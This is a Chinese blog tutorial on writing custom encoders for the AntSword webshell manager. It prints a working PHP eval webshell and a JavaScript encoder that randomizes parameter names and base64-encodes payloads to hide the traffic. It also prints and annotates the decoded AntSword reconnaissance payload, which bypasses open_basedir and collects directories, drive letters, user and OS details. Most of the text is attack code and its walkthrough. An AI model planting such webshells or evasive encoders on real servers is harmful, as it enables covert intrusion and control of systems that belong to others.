蚁剑编码器编写——上篇

发布于:2024-07-08 ⋅ 阅读:(38) ⋅ 点赞:(0)

参考

AwesomeEncoder

第一个为例
木马

<?php @eval(base64_decode($_POST['ant']));?>

获取ant参数内容,然后base64解码后运行
编码器

let randomID = `_0x${Math.random().toString(16).substr(2)}`;
data[randomID] = new Buffer(data['_']).toString('base64');
data[pwd] = new Buffer(`eval(base64_decode($_POST[${randomID}]));die();`).toString('base64');

生成随机数randomID,将数据进行base64编码后传入到randomID参数中,
然后将eval(base64_decode($_POST[${randomID}]));die();进行base64编码

反向来说
木马首先获取data[pwd]也就是ant的值base64解码后得到

eval(base64_decode($_POST[${randomID}]));die();

实际上木马变为了

<?php @eval(eval(base64_decode($_POST[${randomID}]));die(););?>

假定生成的随机数randomID为A,那么也就是

<?php @eval(eval(base64_decode($_POST[A]));die(););?>

在木马的第二步,已经将data[randomID],也就是$_POST[${randomID}],也就是这里的$_POST[A]base64编码过,所以需要在进行解码一次,那么疑问就来了,为什么要执行两次???那就要从流量包来进行查看

环境搭建这里不做演示,小皮,蚁剑,burpsuite即可
在这里插入图片描述

将数据包base解码

ant=eval(base64_decode($_POST[_0x36c084a15bf7d]));die();
base64_decode($_POST[_0x36c084a15bf7d])

@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.f19ddead";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\\\|\//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "59ee6d"."26ac18";echo @asenc($output);echo "3f4b"."0edf4";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}	";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.="	";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.="	{$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();

那么也就变为了eval("eval(base64_decode($_POST[_0x36c084a15bf7d]);die();)")

查看一下这一大段,整理一下

@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
    if(!@is_writable($item)){
        continue;
    };
    $tmdir=$item."/.f19ddead";
    @mkdir($tmdir);
    if(!@file_exists($tmdir)){
        continue;
    }
    $tmdir=realpath($tmdir);
    @chdir($tmdir);
    @ini_set("open_basedir", "..");
    $cntarr=@preg_split("/\\\\|\//",$tmdir);
    for($i=0;$i<sizeof($cntarr);$i++){
        @chdir("..");
    };
    @ini_set("open_basedir","/");
    @rmdir($tmdir);break;};
};;
function asenc($out){
    return $out;
};
function asoutput(){
    $output=ob_get_contents();
    ob_end_clean();
    echo "59ee6d"."26ac18";
    echo @asenc($output);
    echo "3f4b"."0edf4";
}
ob_start();
try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
    $R="{$D}	";
    if(substr($D,0,1)!="/"){
        foreach(range("C","Z")as $L)
        if(is_dir("{$L}:"))$R.="{$L}:";
    }else{
        $R.="/";
    }
    $R.="	";
    $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
    $s=($u)?$u["name"]:@get_current_user();$R.=php_uname();
    $R.="	{$s}";
    echo $R;;
}catch(Exception $e){
    echo "ERROR://".$e->getMessage();
};
asoutput();
die();

当然了,很多函数我都不认识,但是有AI呀!

@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
    if(!@is_writable($item)){
        continue;
    };
    $tmdir=$item."/.f19ddead";
    @mkdir($tmdir);
    if(!@file_exists($tmdir)){
        continue;
    }
    $tmdir=realpath($tmdir);
    @chdir($tmdir);
    @ini_set("open_basedir", "..");
    $cntarr=@preg_split("/\\\\|\//",$tmdir);
    for($i=0;$i<sizeof($cntarr);$i++){
        @chdir("..");
    };
    @ini_set("open_basedir","/");
    @rmdir($tmdir);break;};
};;

这一段是
关闭错误显示
设置脚本执行时间
获取open_basedir的配置值,绕过open_basedir属性限制

try{
    $D=dirname($_SERVER["SCRIPT_FILENAME"]);
    if($D=="")
    $D=dirname($_SERVER["PATH_TRANSLATED"]);
    $R="{$D}	";
    if(substr($D,0,1)!="/"){
        foreach(range("C","Z")as $L)
        if(is_dir("{$L}:"))$R.="{$L}:";
    }else{
        $R.="/";
    }
    $R.="	";
    $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
    $s=($u)?$u["name"]:@get_current_user();
    $R.=php_uname();
    $R.="	{$s}";
    echo $R;;
}catch(Exception $e){
    echo "ERROR://".$e->getMessage();
};

这一段获取当前脚本所在目录,初始化字符串参数$R,遍历盘符,C-Z爆破盘符,利用posix_getegid函数获取执行脚本用户的用户名,用户组等内容,检测$u是否存在,不存在则利用get_current_user()函数获取,使用php_uname()获取操作系统信息,

到这里就很清楚了,这段php代码获取木马的当前执行目录,盘符,用户,操作系统信息,由于使用了缓存机制,所以在最后的
asoutput()函数中进行集体输出,

将上文中的请求包发送到repeater模块,发现返回的结果是一样的

但是这还是解释不了为什么两个eval ,其实ant传入的内容属于字符串,外面套一层eval,才会将里面的eval当做函数执行,举个简单的例子

<?php  
eval("eval('echo 1+1;');die();")
?>

变形一下

<?php  
eval('eval(base64_decode("ZWNobyAiYWFhIjs="));die();')
?>

在这里插入图片描述
最后的输出结果是2,也就是说外面的eval将字符串转换为函数执行,里面的一层eval执行内容

那么在这个例子中,木马的eval用来激活请求包中的eval函数,进而实现命令执行的效果


网站公告

今日签到

点亮在社区的每一天
去签到